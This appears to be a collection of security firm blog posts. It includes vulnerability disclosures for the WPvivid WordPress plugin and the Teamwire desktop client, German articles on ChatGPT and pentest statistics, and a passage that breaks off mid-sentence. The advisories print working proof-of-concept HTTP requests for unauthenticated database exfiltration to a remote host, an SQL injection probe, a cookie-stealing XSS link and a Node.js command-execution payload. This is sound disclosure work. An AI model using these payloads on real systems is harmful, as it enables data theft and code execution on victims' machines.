Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

Vom Berater bis zum Angreifer: Computer übernehmen die Jobs

Ende November gab die Firma OpenAI den Prototypen ihres Chatbots ChatGPT zum Ausprobieren durch die Community frei und die nutzte die Adventszeit für viele spannende und teils erschreckende Experimente. Was ist ChatGPT eigentlich? Tatsächlich, wie der Name sagt, ein Chatbot, den man mit Fragen zu recht komplexen Antworten bringen kann. Wie in einem Fachgespräch üblich, kann man ihn durch weitere Fragen oder Änderungswünsche die Antworten ergänzen und verbessern lassen. Der Chatbot kann nicht nur Texte schreiben, sondern auch einfache Programme entwickeln.

Vorsicht ist jedoch angesagt, damit der Bot seine Ergebnisse nicht zu sehr nach den vermeintlichen Wünschen des Fragestellers ausrichtet. Bei Tests mit typischen Beratungsfragen, also den Fragen, die ohne Kontext immer mit „Es kommt darauf an“ beantwortet werden, konnte ChatPGT sehr überzeugend beide Sichten begründen – allerdings ohne auf die jeweils andere Option einzugehen. Fragt man beispielsweise, wie mit schwachen SSL-Cipher-Einstellungen umgegangen werden soll, bekommt man je nach Fragestellung diese Antworten:

Für die Einordnung der Ergebnisse der künstlichen Intelligenz ist dann doch wieder Fachwissen nötig.

ChatGPT kann aus einer kurzen Beschreibung heraus auch ein passendes Programm entwickeln. Das interessiert natürlich auch potenzielle Malware-Autoren. Die Kollegen von Check-Point haben in Foren erste Hinweise in Foren gefunden, dass mit Malware aus ChatGPT-generiertem Code experimentiert wurde. Ob sich das Entwicklungsmodell bei den Malware-Autoren durchsetzt oder diese Malware am Ende sogar leichter erkennbar sind, wird die Zukunft zeigen.

https://www.heise.de/news/ChatGPT-Maechtige-Waffe-in-Haenden-von-Skriptkiddies-7452741.html

HiSolutions Schwachstellenreport 2021

Hier gibt es unser Whitepaper Schwachstellenreport 2021 zum Download.

Immer wieder taucht die Frage auf, wie die Ergebnisse von Penetrationstests im Vergleich mit „typischen“ Ergebnissen einzustufen sind und ob die identifizierten Probleme bei anderen Unternehmen in ähnlicher Form und Schwere bestehen.

Wir haben diese Fragen zum Anlass genommen, die von uns in den letzten Jahren durchgeführten Tests auszuwerten und die jeweils identifizierten Schwachstellen nach Schweregrad und Kategorien zu analysieren. Diese Aggregation erlaubt uns, sowohl die Vertraulichkeit der Projektergebnisse gegenüber unseren Kunden zu wahren als auch Aussagen über typische Testergebnisse und Problembereiche abzuleiten, die entweder besonders häufig auftauchen oder besonders schwerwiegende Lücken darstellen. Durch die Fortschreibung der Auswertung über die Jahre hinweg werden dabei auch interessante Trends und wichtige Entwicklungen in der Sicherheitslage deutlich.

Vorgehen

Dieser Report beruht auf einer Auswertung der Ergebnisse aus insgesamt 89 Penetrations- und Schwachstellentests, die im Jahr 2020 durchgeführt wurden. Zusätzlich wurden die Befunde mit den Ergebnissen der Schwachstellenreports aus den Jahren 2013 bis 2019 verglichen.

Die durchgeführten Tests betreffen verschiedene Zielumgebungen von Netzwerkinfrastrukturen über Web-Anwendungen bis hin zu einzelnen Systemen und Verfahren, weswegen sie nicht direkt miteinander vergleichbar sind. Durch die Kategorienbildung bei den Schwachstellen lassen sich dennoch interessante Beobachtungen ableiten.

Für die Kategorien wurde sich zunächst an den „OWASP Top 10“ orientiert. Diese Veröffentlichung des OWASP-Projektes aus dem Jahr 2017[1] umfasst eine Systematik der schwerwiegendsten Schwachstellen für Web-Anwendungen, die dort auf der Grundlage einer Berechnung der Schweregrade auf der Basis von Häufigkeiten und Auswirkungen erstellt wurde. Die Kategorien lassen sich dabei zum Teil auch auf andere Testziele gut übertragen, decken jedoch nicht alle Befunde vollständig ab, sodass einige selbst erstellte Kategorien ergänzt wurden. Diese umspannen den gesamten Zyklus der Softwareentwicklung und des Betriebs von Architektur und Design über Implementierung bis hin zur Systempflege. Dadurch lassen sich auch entsprechende Sicherheitslücken jenseits von Web-Anwendungen feingranular einordnen.

Die Aggregation der Daten bringt einige praktische Schwierigkeiten mit sich: Aufgrund der Verschiedenartigkeit der durchgeführten Tests ließen sich keine relevanten Aussagen zur Häufigkeit von Schwachstellen in einem bestimmten System oder einer Anwendung ermitteln. Auch werden in den Projektberichten gleichartige Schwachstellen auf verschiedenen System häufig zu einem Befund zusammengefasst, sodass eine Zählung der Befunde hier ebenfalls nur begrenzte Aussagekraft hat. Aufgrund dessen wird als Maß die relative Häufigkeit von Projekten, in welchen ein Befund der entsprechenden Kategorie auftaucht, verwendet. Dadurch wird deutlich, welche Schwachstellen besonders häufig in Projekten auftreten und welche eher selten oder nur in besonderen Zielumgebungen vorkommen.

Für die Bewertung der Relevanz einer Schwachstelle wird in den Prüfberichten ein standardisiertes Schema verwendet, welches aus der Bewertung der Komplexität des Angriffs und des zu erwartenden Schadens zu einer Einordnung in die folgenden Kategorien führt:

     CRITICAL (C)            Systeme akut gefährdet, umgehendes Handeln erforderlich

     HIGH (H)                   hohe praktische Relevanz – sollte priorisiert behoben werden

     MEDIUM (M)             relevantes Schadenspotenzial in Verbindung mit anderen Problemen

     LOW (L)                    für sich genommen keine unmittelbare Gefahr

Rein informative Befunde (z. B. festgestellte funktionale Fehler ohne Sicherheitsbezug) wurden in der Auswertung nicht berücksichtigt.

Ergebnisse

Im Folgenden werden die Erkenntnisse aus der Auswertung der Penetrationstests des letzten Jahres vorgestellt. Es werden die durch die Tests gefundenen Sicherheitslücken im Vergleich der Ergebnisse der letzten Jahre begutachtet. Hierfür werden die Kategorie und der Schweregrad der Schwachstellen betrachtet. Die Auswertung von Nachtest-Ergebnissen erlaubt auch in diesem Jahr wieder eine Untersuchung über die Effizienz der im Anschluss an Penetrationstests durchgeführten Maßnahmen.

Bei der Auswertung der Projekte des Jahres 2020 müssen die Besonderheit des Jahres in Bezug auf die globale Covid-19-Pandemie im Blick behalten werden. So ist es dieses Jahr besonders wichtig, die Entwicklung der Ergebnisse der Penetrations- und Schwachstellentests im Zusammenhang mit den Einschränkungen zur Pandemiebekämpfung und den Auswirkungen auf die verschiedenen Projektarten zu begutachten und zu bewerten.

Die erste Abbildung zeigt die Entwicklung des Schweregrades von Sicherheitslücken von 2013 bis 2020. In diesem Fall werden alle Funde eines Penetrationstests betrachtet. Jedem Test wird die höchste Kritikalität seiner Funde zugeordnet, da eine einzige Schwachstelle des entsprechenden Schweregrades genügen kann, die Sicherheit des gesamten Systems zu beeinträchtigen.

Von 2013 bis 2015 gab es einen klaren Anstieg der kritischen, hohen und mittleren Befunde. Die Anzahl dieser sank in den nächsten Jahren bis 2018 zwar deutlich, um 2019 erneut stark zu steigen. Wie bereits im Bericht des letzten Jahres vermutet, liegt der starke Anstieg der als hoch eingestuften Funde in 2019 vermutlich im Rahmen der kurzzeitigen Schwankungen, welche zwar nicht direkt einen Negativtrend darstellt, aber dennoch beobachtet werden sollte.

Die Entwicklung der Kritikalitätsverteilung im Jahr 2020 zeigt im Vergleich zu 2019 einen Anstieg der Schwachstellen mit mittleren und niedrigen Auswirkungen und damit einhergehend eine Abnahme der kritischen und hohen Schwachstellen. Der Grund für diesen starken Unterschied liegt allerdings nicht in einem wesentlich verbesserten Sicherheitsniveau der Untersuchungsgegenstände, sondern lässt sich vielmehr durch die Auswirkungen der Covid-19-Pandemie erklären: Durch die Maßnahmen gegen die Pandemie (z. B. Lockdowns, Reisebeschränkungen und Home-Office-Regelungen) konnten im Jahr 2020 deutlich weniger interne Penetrationstests durchgeführt werden. Im Gegensatz zu externen Prüfungen über das Internet werden bei Penetrationstests in internen Netzwerken fast ausnahmslos eine wesentlich höhere Anzahl an Befunden und Schwachstellen mit hohen und kritischen Auswirkungen aufgedeckt.

Dies liegt unter anderem daran, dass extern erreichbare Systeme täglich im Fokus verschiedenster Angreifer stehen und kritische Schwachstellen kurzfristig ausgenutzt werden. Je nach den Folgen der Ausnutzung und gegebenenfalls vorhandener öffentlicher Berichterstattung zu den Schwachstellen führt dies dazu, dass Schwachstellen in externen Systemen schneller erkannt und behandelt werden. Dies gilt umso mehr, als dass heutzutage ein Großteil der Unternehmen weiterhin einen Netzwerkschutz nach dem Perimeter-System betreiben. Die Absicherung nach außen steht dabei im Fokus der Sicherheitsmaßnahmen, wobei die Behandlung von Sicherheitsrisiken in internen Systemen nachrangig behandelt wird oder durch Ressourcenmangel nicht oder nur stark verzögert erfolgen kann.

Abbildung 1: Entwicklung der Kritikalität von 2013 bis 2020

Um die Sicherheit von bestehenden Systemen zu verbessern und Sicherheitsaspekte im Entwurf neuer Systeme zu berücksichtigen, ist es wichtig zu verstehen, welche Art von Sicherheitslücken besonders häufig auftritt und welche Auswirkungen dies haben kann.

In Abbildung 2 wird daher zunächst die Entwicklung des Auftretens bestimmter Fehlerklassen in den letzten Jahren gezeigt. Dargestellt wird der Anteil der Penetrationstests, welche mindestens einen Befund der Kategorie erzeugt haben.

Im abgelaufenen Jahr ist besonders zu bemerken, dass eine Preisgabe von schützenswerten Daten, welche im letzten Jahr stark gesunken war, erneut enorm angestiegen und nun wieder in 8 von 10 Fällen zu finden ist. Zugleich ist aber die Anzahl der fehlerhaften Konfigurationen mit Auswirkung auf die Sicherheit eines Systems nach einem dramatischen Anstieg im letzten Jahr wieder gesunken, wobei eine solche noch immer in 80 % der Penetrationstests aufzufinden ist. Auch Funde im Bereich der Injektion und fehlerhafter Authentifizierung oder Sitzungsverwaltung sind im Vergleich zum vorherigen Jahr wieder häufiger geworden, wobei in diesen Fällen der Anstieg um ca. 5 % im Bereich normaler Schwankungen liegt.

Abbildung 2: Relative Häufigkeit der Kategorien[2] von 2016 bis 2020

Positiv zu vermerken scheint, dass der Anteil der Funde im Bereich von Implementierungsfehlern, mangelnder Systempflege und fehlerhafter Authentifizierung oder Sitzungsverwaltung im Vergleich zu 2019 wieder stark sank. Wie schon bei der Kritikalitätsentwicklung sind jedoch auch diese Entwicklungen mit großer Wahrscheinlichkeit den Auswirkungen der Covid-19- Pandemie zuzurechnen, da Fehler in diesen Bereichen zum Großteil bei internen Penetrationstests bemerkt werden.

Abbildung 3 zeigt die Schwere der Befunde im vergangenen Jahr aufgeschlüsselt nach Kategorie und im Vergleich zu den Befunden des vorangegangenen Jahres. Angegeben wird dabei der Anteil der unterschiedlichen Kritikalitätswerte an den Gesamtbefunden der jeweiligen Kategorie.

Abbildung 3: Entwicklung der Kritikalität[3] der Befunde nach Kategorie im Vergleich zum Vorjahr
 

Betrachtet man die Entwicklung der Häufigkeit der Kategorien zusammen mit der Kritikalität nach Kategorien, ergeben sich einige bemerkenswerte Veränderungen. So ist zwar die Häufigkeit der Funde im Bereich „Injektion“ nur leicht angewachsen, jedoch ist die Kritikalität der Funde in diesem Bereich, besonders von kritischen und hohen Funden, deutlich stärker gestiegen.

Im Gegenteil hierzu ist jedoch die Häufigkeit im Bereich „Fehlerhafter Authentifizierung oder Sitzungsverwaltung“ ähnlich zur Kategorie „Injektion“ gewachsen. Hier hat sich die Verteilung der Kritikalität allerdings in Richtung niedrig (low) verschoben.

Auch die Anzahl von Funden im Bereich des „Preisgebens von sensiblen Daten“ ist stark gestiegen – und ähnlich wie beim vorherigen Punkt ist auch hier die Verteilung der Kritikalität der Funde sogar noch eindeutiger in Richtung niedrig gewandert.

Während die Häufigkeit von Funden im Bereich des unzureichenden Loggings & Monitorings gesunken ist, ist hier die Kritikalität besonders stark angestiegen. Im Jahr 2020 wurden allerdings in diesem Bereich nur neun Funde entdeckt, im Gegensatz zum Vorjahr, wo es 22 Funde gab, weshalb die allgemeingültige Aussagekraft der Veränderung kritisch zu hinterfragen ist. Nichtsdestotrotz sollte dieser Bereich umso genauer im Blick behalten werden, da ein gutes Logging und Monitoring nicht nur bei der Fehlersuche, sondern auch bei der rechtzeitigen Erkennung und Behandlung von Angriffen essenziell ist.

Als letzter bemerkenswerter Punkt ist hervorzuheben, dass 40 % der Funde im Bereich von mangelnden Organisations- und Betriebsprozessen eine hohe Kritikalität vorzeigen und sogar bis zu 80 % als mittlere Kritikalität eingestuft werden.

Auswertung nach Testtyp

HiSolutions bietet eine Vielzahl unterschiedlicher Sicherheitsüberprüfungen an. Vergleichsweise häufig und insbesondere periodisch wiederkehrend werden externe Penetrationstests und Web-Penetrationstests ausgeführt, bei denen das Testteam die gleichen Möglichkeiten wie externe Angreifer besitzt. Zusätzlich wird auch eine Vielzahl an internen Penetrationstests durchgeführt, welche die Untersuchung der Auswirkungen eines erfolgreichen Angriffes in der Praxis ermöglichen. Bei diesen stehen dem Testteam wesentlich mehr Möglichkeiten zur Verfügung, da sie sich im internen Netz des Auftraggebers befinden. Auch diverse Pentests und gezielte Prüfungen von Hardware-Systemen, Anwendungen und ICS-Umgebungen sowie Überprüfungen von Quellcode, System- und Netzwerk-Architekturen und der Konfiguration von IT-Systemen wurden im Jahr 2020 von HiSolutions durchgeführt.

Abbildung 4 zeigt die Kritikalität abhängig vom Typ des durchgeführten Tests und im Vergleich die Ergebnisse des Vorjahres. In einem Penetrationstest können mehrere Überprüfungen unterschiedlicher Art vorkommen. Für die Auswertung werden die einzelnen Testbestandteile aller Penetrationstests betrachtet. Die in Abbildung 4 dargestellte Kritikalitätsverteilung ergibt sich, wie in vorherigen Auswertungen, aus der Zuordnung jedes Testbestandteils zu seiner maximalen ermittelten Kritikalität. Für eine bessere Vergleichbarkeit werden relative Häufigkeiten dargestellt.

Um im Vergleich einen Mindestwert an Aussagekraft zu erzielen, werden nur Testtypen berücksichtigt, für welche im Jahr 2020 mindestens 10 Projekte durchgeführt wurden.

Die Auswertung nach Testtyp zeigt, dass die generelle Verteilung der in den Projekten beobachteten Kritikalitäten größtenteils konstant geblieben ist.

Nach wie vor gilt nachweisbar: Je mehr Zugang das Testteam hat, desto kritischer sind die aufgedeckten Sicherheitslücken. Zwar wurden im Fall der internen Penetrationstests nur noch in ungefähr 35 % der Prüfungen Befunde identifiziert, die als kritisch eingestuft wurden, der Anteil der sonstigen internen Pentests, die dann mindestens einen als „hoch“ eingestuften Befund enthalten, ist von ca. 40 % auf ca. 60 % der Gesamtzahl angestiegen.

Da durch die Corona-Pandemie deutlich mehr Überprüfungen von über das Internet erreichbaren Testgegenständen stattgefunden haben, ist die Entwicklung hier besonders interessant. Sowohl bei externen als auch bei Web-Penetrationstests sind besonders die Funde von kritischen und hohen Schwachstellen zurückgegangen. Das könnte darauf hinweisen, dass die Absicherung nach außen sich bei einigen Systemen im Vergleich zum Vorjahr verbessert hat. Ob dies dadurch begründet werden kann, dass durch die Pandemie deutlich mehr Personal im Home-Office arbeitete und somit die Schnittstellen nach außen stärker abgesichert werden mussten, muss durch andere Untersuchungen beleuchtet werden.

Abbildung 4: Entwicklung der maximalen Kritikalität nach Testtyp im Vergleich zum Vorjahr

Auswertung der Nachtests

Anbieter von Penetrationstests empfehlen in der Regel eine Verifikation der im Anschluss umgesetzten Maßnahmen als wirkungsvolles Mittel zur Verbesserung der Sicherheitseigenschaften von IT-Systemen. Die tatsächliche Wirksamkeit der umgesetzten Maßnahmen wird im Folgenden an Beispielen aus der Praxis überprüft. Zu diesem Zweck werden Befunde betrachtet, bei denen ein Nachtest durch HiSolutions stattgefunden hat, also eine Überprüfung der nach dem Penetrationstest implementierten Maßnahmen.

Abbildung 5 zeigt die Anzahl der Befunde und deren Kritikalität nach Kategorien. Der obere Balken bezieht sich dabei auf die Befunde im initialen Penetrationstest, der untere auf die Befunde im Nachtest.[4]

Im Allgemeinen kann erneut hervorgehoben werden, dass besonders kritische und hohe Schwachstellen bis auf wenige Ausnahmen erfolgreich behoben wurden. Allerdings waren in den Bereichen sicherheitskritische Fehlkonfiguration und Nutzen von Komponenten mit bekannten Schwachstellen selbst im Nachtest noch immer Schwachstellen der Kritikalität „hoch“ zu finden.

Abbildung 5: Kritikalität im Vergleich vom Penetrationstest zum Nachtest 2020

Der Grund für die Unterschiede bei diesen beiden Kategorien war dabei häufig, dass es sich um schwerwiegende systematische Schwachstellen handelt, deren Behebung längere Zeit in Anspruch nimmt oder größere Umstrukturierungen notwendig macht. Bei Schwachstellen etwa, die auf veraltete Systeme und Komponenten zurückzuführen sind, ist ein funktionierendes Patch- und Life-Cycle-Management essenziell, um die Probleme dauerhaft zu beheben. Sind diese Management-Prozesse nicht ausreichend etabliert, werden Systeme im Nachgang an einen Penetrationstest oft einmalig aktualisiert, sind aber bis zum Zeitpunkt des Nachtests erneut veraltet. Vor dem Hintergrund, dass Ransomware-Trojaner und -Angreifer immer wieder Schwachstellen in veralteten Systemen ausnutzen, empfiehlt HiSolutions auch in internen Netzwerken dringend die Umsetzung eines zeitnahen Patch- und Life-Cycle-Managements.

Fazit

Auch dieses Jahr zeigten die identifizierten Befunde, wie wichtig und notwendig Penetrationstests und praktische technische Sicherheitsüberprüfungen sind.

Schwachstellen in internen Netzwerken stellen nach wie vor den Großteil der Schwachstellen mit hohem oder kritischen Risiko für Unternehmen dar. Unter der Annahme, dass es Angreifern gelingt, die externen Sicherheitsmaßnahmen zu umgehen und in ein internes Netzwerk vorzudringen, spiegelt dieses in der Praxis ein beträchtliches Risiko wider. Auch die Erfahrungen von HiSolutions im Bereich Incident Response und Forensik und andere unabhängige Untersuchungen zeigen klar, dass Angreifer in internen Netzwerken gezielt Schwachstellen ausnutzen, um darüber ihre Berechtigungen zu erweitern und Schadsoftware auf weiteren Systemen zu verbreiten. Diverse in internen Penetrationstests identifizierte Angriffspfade ließen sich direkt oder in abgewandelter Form auch in realen Angriffen beobachten. Nur durch einen systematischen Umgang mit dem Thema IT-Sicherheit, welcher teilweise größere Umbau- und Um-Organisationsmaßnahmen und eine langfristige sicherheitsorientierte Ausrichtung in dem Bereich nach sich zieht, kann dieses komplexe Thema zukünftig verbessert werden.

Die sonstigen Entwicklungen der Zahlen aus diesem Jahr stehen stark unter dem Eindruck der durch die Covid-19-Pandemie veränderten Projektzusammensetzung. Üblicherweise in Web-Anwendungen und externen Systemen vorzufindende Schwachstellen wie die „Preisgabe schützenswerter Daten“ sind durch die gestiegene Anzahl an Projekten in diesem Bereich ebenfalls merklich angestiegen. Die Anzahl an kritischen und hoch eingestuften Schwachstellen ist, bedingt durch die geringere Anzahl an internen Penetrationstests bei Kunden vor Ort, insgesamt gesunken. Ein Blick in die Einzelprojekte zeigt jedoch kein signifikant gestiegenes Sicherheitsniveau in den einzelnen Bereichen.

Aus den Ergebnissen lässt sich auch ablesen, dass im Bereich des Loggings und Monitorings weiterhin größere Probleme existieren. Ein zielgerichtetes Logging und Monitoring wurde nur in wenigen Kundenumgebungen beobachtet. Teilweise war zwar eine umfangreiche Protokollierung eingerichtet, die Daten wurden aber nicht geeignet ausgewertet und konnten daher nicht effizient und präventiv genutzt werden. Da besonders dieser Bereich, wenn richtig durchgeführt, eine enorme Hilfe bei der Überprüfung von Systemen und insbesondere auch der frühzeitigen Erkennung von Sicherheitsvorfällen sein kann, empfehlen wir eine stärkere Fokussierung aus das Thema in der Zukunft.

Auch für das vergangene Jahr zeigen die Ergebnisse deutlich, dass anhand von Penetrationstests viele Sicherheitsprobleme in IT-Infrastrukturen erkannt werden können, die ohne externe Kontrolle (bis zu einem Angriff) verdeckt geblieben wären. Einmal identifiziert, führten die betroffenen Unternehmen in den meisten Fällen ausreichende Maßnahmen bis zum Nachtest durch, sodass die Probleme dauerhaft behoben wurden. Bei der Interpretation dieser Ergebnisse muss allerdings beachtet werden, dass die Durchführung eines Nachtests für sich bereits ein gesteigertes Sicherheitsbewusstsein oder etabliertere IT-Sicherheits-Strukturen bei Unternehmen aufzeigt. So werden Nachtests in der Regel nicht geplant und beauftragt, wenn keine Änderungen an den Systemen vorgenommen wurden. Auch wenn die Ergebnisse der Nachtests grundlegende Verbesserungen an den Systemen darlegen, zeigen sie auch deutlich, dass nicht immer alle angemahnten Schwachstellen tatsächlich effektiv behoben wurden. Die Durchführung von Nachtests ist damit weiterhin als effektives Mittel zur Bestätigung von getroffenen Maßnahmen sowie zur Identifikation möglicher Restrisiken anzusehen.

Übrigens: Unser Angebot im Bereich Pentest/Penetrationstest finden sie hier.

[1] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

[2] Die Kategorien „XML External Entities (OWASP A4)“ und „Insecure Deserialization (OWASP A8)“ sind aufgrund der geringen absoluten Zahlen aktuell nicht aufgeführt.

[3] Ohne Befunde, aus welchen sich keine direkten sicherheitsrelevanten Auswirkungen ergaben.

[4] Da lediglich Befunde betrachtet werden, für welche ein Nachtest stattgefunden hat, können nur etwa 20 % der Befunde verwendet werden. Es kann daher zu Abweichungen zu Abbildung 3 kommen, da für diese mehr Datenpunkte zur Verfügung stehen. Die Kategorie „Insufficient Logging & Monitoring (OWASP A10)“ wird mangels Daten nicht berücksichtigt.

Web vulnerabilities are coming to the Desktop again – RCEs and other vulnerabilities in Teamwire

TL;DR (Teamwire users): Multiple vulnerabilities have been found in Teamwire which allow malicious users to execute commands on victim’s computers. Upgrade Teamwire to the newest version (at least v2.5.0 as of Jan 21, 2021) as soon as possible to fix the vulnerabilities.

TL;DR (Technical): Cross-site-scripting and HTML injections are common vulnerabilities in web applications. If a desktop application, like the Teamwire Windows client, builds on a web engine which is vulnerable to these issues, this can result in remote code execution on the client systems.

Vulnerability Summary

A HiSolutions researcher discovered that code could be executed in other users clients if a crafted message was shown in their search results (CVE-2024-24275). Another vulnerability in the handling of pasted text (CVE-2024-24278) and potential issues that allowed for the injection of sanitized HTML-elements (CVE-2024-24276) were found and reported to Teamwire.
Teamwire replied back that the issues were independently found in an internal security audit a few weeks before and released a new Teamwire version within a day.
When HiSolutions reviewed this new version, it was discovered that only a part of the reported vulnerabilities were fixed. Furthermore, the previously identified RCE (CVE-2024-24275) vulnerability could be exploited again in this version, just slightly different this time. In the new version, code was executed when an attacker created a group with a specially crafted name and invited victims to the group as well as in any other places where the group name was shown (e.g. search results or group directory).

Background

Teamwire uses different technologies for their Windows desktop client that contained the below mentioned vulnerabilities. The client is based on NW.js. As written in our last article about a different set of Teamwire vulnerabilities:

NW.js is a technology that combines the browser engine WebKit with the JavaScript framework Node.js, and is often used to create cross-platform applications. This combination enables users to call Node.js functions directly from the DOM of the embedded Chromium browser.

The application itself then uses, among other technologies, AngularJS for client side JavaScript functionality.

Vulnerability Details

Desktop client RCE through search results (CVE-2024-24275)

In versions below 2.3.0 of the Teamwire Windows desktop client, when a message that contained HTML code was shown inside the search results, this HTML code was embedded inside the client without any sanitization or encoding. Any included HTML elements were rendered and JavaScript code executed, allowing for arbitrary code execution. This issue affected both the chat and the global search function. Through NodeJS functions, commands could be executed directly on the operating system of the victim.

If the attacker created an arbitrary group, posted messages similar to:

<img src=x onerror="const spawn=require('child_process').spawn;spawn('cmd.exe',['/c','calc.exe']);console.log(1);//Something searchword">

and invited a victim, the payload was planted inside the client application. When a victim then did a search (inside the chat or global search) for a word matching any of the additionally supplied words (see text in red in payload), the code was executed on the client system. For demonstration purposes, the program calc.exe was opened but any actions inside the application or on the system would have been possible.

Screenshot of the calc.exe program that was executed when JavaScript code embedded in a message from the attacker was executed after it matched the search of a victim.

The underlying reason for this behaviour seemed to be the function that normally provided the highlighting of the search words (angular.module("Teamwire.filters").filter("highlight",…). This function did not sanitize, filter or encode the messages in the search results before using the AngularJS function trustAsHtml and embedding the result. Any included HTML elements were therefore rendered and any contained JavaScript code executed.

This behaviour affected the versions of the Teamwire Windows desktop client between version numbers 2.0.1 and below 2.3.0. Older versions may be affected as well.
The vulnerability was fixed in version 2.3.0.
However, version 2.3.0 was affected in another way by the following vulnerability.

Desktop client RCE through list names (also tracked under CVE-2024-24275)

In version 2.3.0 of the Teamwire Windows desktop client, group names were embedded inside the client without any sanitization or encoding. Any included HTML elements were rendered and JavaScript code executed in multiple places, allowing for arbitrary code execution. Through NodeJS functions, commands could be executed directly on the operating system of the victim.

If the attacker created a group with the name

